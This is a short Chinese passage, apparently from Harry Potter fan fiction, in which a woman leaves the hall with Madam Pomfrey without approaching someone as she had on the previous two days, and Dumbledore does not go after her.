却没有像前两天那样，在离开礼堂前走到他身边。
她只是随着庞弗雷夫人一起离开。
邓布利多没有追上去。